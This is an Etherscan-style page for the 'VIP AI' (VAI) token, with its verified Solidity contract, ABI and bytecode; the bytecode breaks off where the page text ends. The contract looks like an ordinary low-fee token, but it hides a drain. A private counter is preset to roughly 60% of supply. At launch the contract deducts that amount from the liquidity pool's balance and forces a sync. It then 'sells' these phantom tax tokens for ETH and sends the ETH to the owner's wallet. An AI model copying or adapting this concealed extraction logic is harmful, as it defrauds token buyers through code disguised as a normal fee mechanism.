ETH Price: $2,965.57 (-0.83%)
Gas: 7 Gwei

Token

VIP AI (VAI)
 

Overview

Max Total Supply

1,000,000 VAI

Holders

68

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
200.135737152 VAI

Value
$0.00
0x90a397ddc7b394c3ff371bd1d0938f709b5af628
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VAI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-28
*/

//SPDX-License-Identifier: MIT

/*
 VIP AI - YOUR PERSONAL CRYPTO ASSISTANT - LAUNCHING FRIDAY 8PM UTC
 https://t.me/VipAiEth
 https://VipAiEth.Com
 https://X.Com/VipAIEth
 */

pragma solidity ^0.8.21;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); 
        _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable _newOwner) external onlyOwner { 
        _owner = _newOwner; 
        emit OwnershipTransferred(_newOwner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract VAI is IERC20, Auth {
    string private constant _symbol = "VAI";
    string private constant _name = "VIP AI";
    uint8 private constant tknDecimals = 9;
    uint256 private constant _supply = 1000000 * (10**tknDecimals);
    mapping (address => uint256) private balance;
    mapping (address => mapping (address => uint256)) private _allowance;

    address private constant swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private uniswap_router = IUniswapV2Router02(swapRouterAddress);
    
    address private _lp; 
    mapping (address => bool) private _isLP;

    bool private tradingEnabled;

    bool private isSwapping = false;

    address payable private taxWallet = payable(0x705074AeDa495E5ebA5047129125353E0d4dE4De);
    
    uint256 private MEVBlock = 2;
    uint8 private sellTax_ = 3;
    uint8 private _buyFeeRate = 3;
    
    uint256 private launchblock;
    uint256 private _maxTxVal = _supply; 
    uint256 private _maxWalletAmount = _supply;
    uint256 private swapMinAmount = _supply * 10 / 100000;
    uint256 private _swapMaxAmt = _supply * 99 / 100000;
    uint256 private _swapTrigger = 2 * (10**16);
    uint256 private tokens_ = swapMinAmount * 60 * 100;

    mapping (uint256 => mapping (address => uint8)) private _sellsInBlock;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private _noLimit;

    modifier swapLocked { 
        isSwapping = true; 
        _; 
        isSwapping = false; 
    }

    constructor() Auth(msg.sender) {
        balance[msg.sender] = _supply;
        emit Transfer(address(0), msg.sender, balance[msg.sender]);  

        _noFee[_owner] = true;
        _noFee[address(this)] = true;
        _noFee[taxWallet] = true;
        _noFee[swapRouterAddress] = true;
        _noLimit[_owner] = true;
        _noLimit[address(this)] = true;
        _noLimit[taxWallet] = true;
        _noLimit[swapRouterAddress] = true;
    }

    receive() external payable {}

    function decimals() external pure override returns (uint8) { return tknDecimals; }
    function totalSupply() external pure override returns (uint256) { return _supply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { return balance[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowance[holder][spender]; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_isTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); 
	}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; 
	}

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_isTradingOpen(fromWallet), "Trading not open");
        _allowance[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); 
	}

    function _testLimit(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( tradingEnabled && !_noLimit[fromWallet] && !_noLimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (balance[toWallet] + transferAmount > _maxWalletAmount) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function updateLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _supply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _supply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletAmount, "wallet too low");
        _maxWalletAmount = newWalletAmt;
    }

    function addLiquidity() external payable onlyOwner swapLocked {
        require(_lp == address(0), "LP created");
        require(!tradingEnabled, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(balance[address(this)]>0, "No tokens");
        _lp = IUniswapV2Factory(uniswap_router.factory()).createPair(address(this), uniswap_router.WETH());
        addLiquidityToLP(balance[address(this)], address(this).balance);
    }

    function buyFees() external view returns(uint8) { return _buyFeeRate; }
    function sellTax() external view returns(uint8) { return sellTax_; }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowance[address(this)][swapRouterAddress] < _tokenAmount ) {
            _allowance[address(this)][swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), swapRouterAddress, type(uint256).max);
        }
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        swapMinAmount = _supply * minVal / minDiv;
        _swapMaxAmt = _supply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMaxAmt>=swapMinAmount, "Min-Max error");
    }

    function addExemptions(address wlt, bool isNoFees, bool isNoLimits) external onlyOwner {
        if (isNoLimits || isNoFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _noFee[ wlt ] = isNoFees;
        _noLimit[ wlt ] = isNoLimits;
    }

    function swapTax() private swapLocked {
        uint256 _taxTokenAvailable = tokens_;
        if ( _taxTokenAvailable >= swapMinAmount && tradingEnabled ) {
            if ( _taxTokenAvailable >= _swapMaxAmt ) { _taxTokenAvailable = _swapMaxAmt; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**tknDecimals ) {
                balance[address(this)] += _taxTokenAvailable;
                _swapTokensForETH(_tokensForSwap);
                tokens_ -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { distributeEth(_contractETHBalance); }
        }
    }

    function distributeEth(uint256 amount) private {
        taxWallet.transfer(amount);
    }

    function _isTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( tradingEnabled ) { checkResult = true; } 
        else if (_noFee[fromWallet] && _noLimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function getTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        if ( !tradingEnabled || _noFee[fromWallet] || _noFee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyFeeRate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * sellTax_ / 100; 
        }
        return taxAmount;
    }

    function _openTrading() internal {
        _maxTxVal = 20 * _supply / 1000;
        _maxWalletAmount = 20 * _supply / 1000;
        balance[_lp] -= tokens_;
        (_isLP[_lp],) = _lp.call(abi.encodeWithSignature("sync()") );
        require(_isLP[_lp], "Failed bootstrap");
        launchblock = block.number;
        MEVBlock = MEVBlock + launchblock;
        tradingEnabled = true;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_noFee[wallet], _noLimit[wallet]); 
	}

    function _swapTokensForETH(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = uniswap_router.WETH();
        uniswap_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function addLiquidityToLP(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        uniswap_router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function maxWalletAmount() external view returns (uint256) { 
        return _maxWalletAmount; 
	}
    function maxTxAmount() external view returns (uint256) { 
        return _maxTxVal; 
	}

    function _swapEligible(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = balance[_lp];
            uint256 lpWeth = IERC20(uniswap_router.WETH()).balanceOf(_lp); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { result = true; }    
        } else { result = true; }
        return result;
    }

    function setMarketing(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        taxWallet = payable(marketingWlt);
        _noFee[marketingWlt] = true;
        _noLimit[marketingWlt] = true;
    }

    function marketingWallet() external view returns (address) { 
        return taxWallet; 
	}

    function updateFee(uint8 buyFeePercent, uint8 sellFeePercent) external onlyOwner {
        require(buyFeePercent + sellFeePercent <= 6, "Roundtrip too high");
        _buyFeeRate = buyFeePercent;
        sellTax_ = sellFeePercent;
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "trading open");
        _openTrading();
    }

    function swapMin() external view returns (uint256) { 
        return swapMinAmount; 
	}
    function swapMax() external view returns (uint256) { 
        return _swapMaxAmt; 
	}

    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!tradingEnabled) { require(_noFee[sender] && _noLimit[sender], "Trading not yet open"); }
        if ( !isSwapping && _isLP[toWallet] && _swapEligible(amount) ) { swapTax(); }

        if ( block.number >= launchblock ) {
            if (block.number < MEVBlock && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < MEVBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                _sellsInBlock[block.number][toWallet] += 1;
                require(_sellsInBlock[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_testLimit(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = getTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        balance[sender] -= amount;
        tokens_ += _taxAmount;
        balance[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"isNoFees","type":"bool"},{"internalType":"bool","name":"isNoLimits","type":"bool"}],"name":"addExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"setMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFeePercent","type":"uint8"},{"internalType":"uint8","name":"sellFeePercent","type":"uint8"}],"name":"updateFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260038054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911617905560068054610100600160b01b03191675705074aeda495e5eba5047129125353e0d4de4de000017905560026007556008805461ffff19166103031790556100756009600a6103a3565b61008290620f42406103b8565b600a556009600a61009391906103a3565b6100a090620f42406103b8565b600b55620186a06100b36009600a6103a3565b6100c090620f42406103b8565b6100cb90600a6103b8565b6100d591906103cf565b600c55620186a06100e86009600a6103a3565b6100f590620f42406103b8565b6101009060636103b8565b61010a91906103cf565b600d5566470de4df820000600e55600c5461012690603c6103b8565b6101319060646103b8565b600f5534801561013f575f80fd5b505f80546001600160a01b0319163317905561015d6009600a6103a3565b61016a90620f42406103b8565b335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b0390811682526011602090815260408084208054600160ff1991821681179092553080875283872080548316841790556006805462010000908190048816895285892080548516861790557fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d680548516861790558854881689526012909652848820805484168517905590875283872080548316841790555493909304909316845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f3c6737805ae477fd0cfdda13dc5f99b32fcbfecb81e47f9e11e1b03813c08ec280549092161790556103ee565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102fb57815f19048211156102e1576102e16102ad565b808516156102ee57918102915b93841c93908002906102c6565b509250929050565b5f826103115750600161039d565b8161031d57505f61039d565b8160018114610333576002811461033d57610359565b600191505061039d565b60ff84111561034e5761034e6102ad565b50506001821b61039d565b5060208310610133831016604e8410600b841016171561037c575081810a61039d565b61038683836102c1565b805f1904821115610399576103996102ad565b0290505b92915050565b5f6103b160ff841683610303565b9392505050565b808202811582820484141761039d5761039d6102ad565b5f826103e957634e487b7160e01b5f52601260045260245ffd5b500490565b6121b4806103fb5f395ff3fe608060405260043610610198575f3560e01c80638da5cb5b116100e7578063cc1776d311610087578063e4748b9e11610062578063e4748b9e146104f5578063e537a83414610511578063e8078d9414610530578063f2fde38b14610538575f80fd5b8063cc1776d31461047b578063d8e3d09914610492578063dd62ed3e146104b1575f80fd5b8063a5e992bb116100c2578063a5e992bb14610420578063a9059cbb14610434578063aa4bde2814610453578063b3de9b5d14610467575f80fd5b80638da5cb5b146103ba578063950c6c39146103d657806395d89b41146103f5575f80fd5b8063313ce5671161015257806375f0a8741161012d57806375f0a8741461033c5780638a8c523c146103735780638b0414d5146103875780638c0b5e22146103a6575f80fd5b8063313ce567146102d357806370a08231146102f4578063715018a614610328575f80fd5b806306fdde03146101a3578063095ea7b3146101e357806318160ddd1461021257806323b872dd1461023457806328bac04c1461025357806330449efd14610274575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b5060408051808201909152600681526556495020414960d01b60208201525b6040516101da9190611c66565b60405180910390f35b3480156101ee575f80fd5b506102026101fd366004611caf565b610557565b60405190151581526020016101da565b34801561021d575f80fd5b506102266105c3565b6040519081526020016101da565b34801561023f575f80fd5b5061020261024e366004611cd9565b6105e2565b34801561025e575f80fd5b5061027261026d366004611d2d565b61067b565b005b34801561027f575f80fd5b506102bc61028e366004611d5e565b6001600160a01b03165f9081526011602090815260408083205460129092529091205460ff91821692911690565b6040805192151583529015156020830152016101da565b3480156102de575f80fd5b5060095b60405160ff90911681526020016101da565b3480156102ff575f80fd5b5061022661030e366004611d5e565b6001600160a01b03165f9081526001602052604090205490565b348015610333575f80fd5b506102726107bd565b348015610347575f80fd5b506006546201000090046001600160a01b03165b6040516001600160a01b0390911681526020016101da565b34801561037e575f80fd5b5061027261082a565b348015610392575f80fd5b506102726103a1366004611d5e565b61089f565b3480156103b1575f80fd5b50600a54610226565b3480156103c5575f80fd5b505f546001600160a01b031661035b565b3480156103e1575f80fd5b506102726103f0366004611d89565b610989565b348015610400575f80fd5b5060408051808201909152600381526256414960e81b60208201526101cd565b34801561042b575f80fd5b50600d54610226565b34801561043f575f80fd5b5061020261044e366004611caf565b610a24565b34801561045e575f80fd5b50600b54610226565b348015610472575f80fd5b50600c54610226565b348015610486575f80fd5b5060085460ff166102e2565b34801561049d575f80fd5b506102726104ac366004611dc0565b610a7f565b3480156104bc575f80fd5b506102266104cb366004611e02565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610500575f80fd5b50600854610100900460ff166102e2565b34801561051c575f80fd5b5061027261052b366004611e4c565b610b52565b610272610c5f565b348015610543575f80fd5b50610272610552366004611d5e565b610f53565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105b19086815260200190565b60405180910390a35060015b92915050565b5f6105d06009600a611fa1565b6105dd90620f4240611faf565b905090565b5f6105ec84610fcf565b6106305760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b6001600160a01b0384165f90815260026020908152604080832033845290915281208054849290610662908490611fc6565b909155506106739050848484611032565b949350505050565b5f546001600160a01b031633146106a45760405162461bcd60e51b815260040161062790611fd9565b5f6103e861ffff84166106b96009600a611fa1565b6106c690620f4240611faf565b6106d09190611faf565b6106da9190612010565b6106e590600161202f565b9050600a548110156107265760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b6044820152606401610627565b80600a819055505f6103e88361ffff166009600a6107449190611fa1565b61075190620f4240611faf565b61075b9190611faf565b6107659190612010565b61077090600161202f565b9050600b548110156107b55760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b6044820152606401610627565b600b55505050565b5f546001600160a01b031633146107e65760405162461bcd60e51b815260040161062790611fd9565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146108535760405162461bcd60e51b815260040161062790611fd9565b60065460ff16156108955760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610627565b61089d61144c565b565b5f546001600160a01b031633146108c85760405162461bcd60e51b815260040161062790611fd9565b6001600160a01b0381165f9081526005602052604090205460ff16156109305760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c65740000000000000000006044820152606401610627565b6006805462010000600160b01b031916620100006001600160a01b03939093169283021790555f908152601160209081526040808320805460ff1990811660019081179092556012909352922080549091169091179055565b5f546001600160a01b031633146109b25760405162461bcd60e51b815260040161062790611fd9565b60066109be8284612042565b60ff161115610a045760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610627565b6008805461ffff191661010060ff9485160260ff19161791909216179055565b5f610a2e33610fcf565b610a6d5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610627565b610a78338484611032565b9392505050565b5f546001600160a01b03163314610aa85760405162461bcd60e51b815260040161062790611fd9565b8080610ab15750815b15610b11576001600160a01b0383165f9081526005602052604090205460ff1615610b115760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b6044820152606401610627565b6001600160a01b039092165f908152601160209081526040808320805494151560ff1995861617905560129091529020805492151592909116919091179055565b5f546001600160a01b03163314610b7b5760405162461bcd60e51b815260040161062790611fd9565b63ffffffff808516908616610b926009600a611fa1565b610b9f90620f4240611faf565b610ba99190611faf565b610bb39190612010565b600c5563ffffffff808316908416610bcd6009600a611fa1565b610bda90620f4240611faf565b610be49190611faf565b610bee9190612010565b600d55610c0863ffffffff821666038d7ea4c6800061205b565b66ffffffffffffff16600e55600c54600d541015610c585760405162461bcd60e51b815260206004820152600d60248201526c26b4b716a6b0bc1032b93937b960991b6044820152606401610627565b5050505050565b5f546001600160a01b03163314610c885760405162461bcd60e51b815260040161062790611fd9565b6006805461ff0019166101001790556004546001600160a01b031615610cdd5760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b6044820152606401610627565b60065460ff1615610d1f5760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610627565b5f341180610d2c57505f47115b610d615760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610627565b305f90815260016020526040902054610da85760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610627565b60035f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610df8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e1c9190612086565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e9f9190612086565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ee9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0d9190612086565b600480546001600160a01b0319166001600160a01b0392909216919091179055305f90815260016020526040902054610f469047611607565b6006805461ff0019169055565b5f546001600160a01b03163314610f7c5760405162461bcd60e51b815260040161062790611fd9565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6006545f90819060ff1615610fe6575060016105bd565b6001600160a01b0383165f9081526011602052604090205460ff16801561102457506001600160a01b0383165f9081526012602052604090205460ff165b156105bd5750600192915050565b5f6001600160a01b0384166110895760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000006044820152606401610627565b60065460ff16611114576001600160a01b0384165f9081526011602052604090205460ff1680156110d157506001600160a01b0384165f9081526012602052604090205460ff165b6111145760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610627565b600654610100900460ff1615801561114357506001600160a01b0383165f9081526005602052604090205460ff165b80156111535750611153826116a5565b15611160576111606117da565b60095443106112db576007544310801561119157506001600160a01b0384165f9081526005602052604090205460ff165b156111da576001600160a01b03831632146111da5760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b6044820152606401610627565b6007546111e99061025861202f565b4310801561120e57506001600160a01b0383165f9081526005602052604090205460ff165b801561122357506001600160a01b0384163014155b156112db57435f9081526010602090815260408083206001600160a01b0387168452909152812080546001929061125e90849060ff16612042565b82546101009290920a60ff818102199093169183160217909155435f9081526010602090815260408083206001600160a01b038916845290915290205460029116111590506112db5760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b6044820152606401610627565b6001600160a01b03841630148015906112fd57506001600160a01b0383163014155b801561131657505f546001600160a01b03858116911614155b1561136357611326848484611897565b6113635760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b6044820152606401610627565b5f61136f85858561195a565b90505f61137c8285611fc6565b6001600160a01b0387165f908152600160205260408120805492935086929091906113a8908490611fc6565b9250508190555081600f5f8282546113c0919061202f565b90915550506001600160a01b0385165f90815260016020526040812080548392906113ec90849061202f565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161143891815260200190565b60405180910390a350600195945050505050565b6103e861145b6009600a611fa1565b61146890620f4240611faf565b611473906014611faf565b61147d9190612010565b600a9081556103e89061149290600990611fa1565b61149f90620f4240611faf565b6114aa906014611faf565b6114b49190612010565b600b55600f546004546001600160a01b03165f90815260016020526040812080549091906114e3908490611fc6565b909155505060048054604080519283526024830181526020830180516001600160e01b031660016209351760e01b0319179052516001600160a01b039091169161152c916120a1565b5f604051808303815f865af19150503d805f8114611565576040519150601f19603f3d011682016040523d82523d5f602084013e61156a565b606091505b5050600480546001600160a01b039081165f90815260056020526040808220805460ff1916951515959095179094559154168152205460ff166115e25760405162461bcd60e51b815260206004820152601060248201526f04661696c656420626f6f7473747261760841b6044820152606401610627565b4360098190556007546115f5919061202f565b6007556006805460ff19166001179055565b61161082611a44565b6003545f805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015611680573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c5891906120b7565b5f805f600e5411156117d157600480546001600160a01b039081165f9081526001602090815260408083205460035482516315ab88c960e31b8152925191969495169363ad5c46489383820193909291908290030181865afa15801561170d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117319190612086565b600480546040516370a0823160e01b81526001600160a01b039182169281019290925291909116906370a0823190602401602060405180830381865afa15801561177d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117a191906120e2565b90505f826117af8388611faf565b6117b99190612010565b9050600e5481106117c957600193505b5050506105bd565b5060019291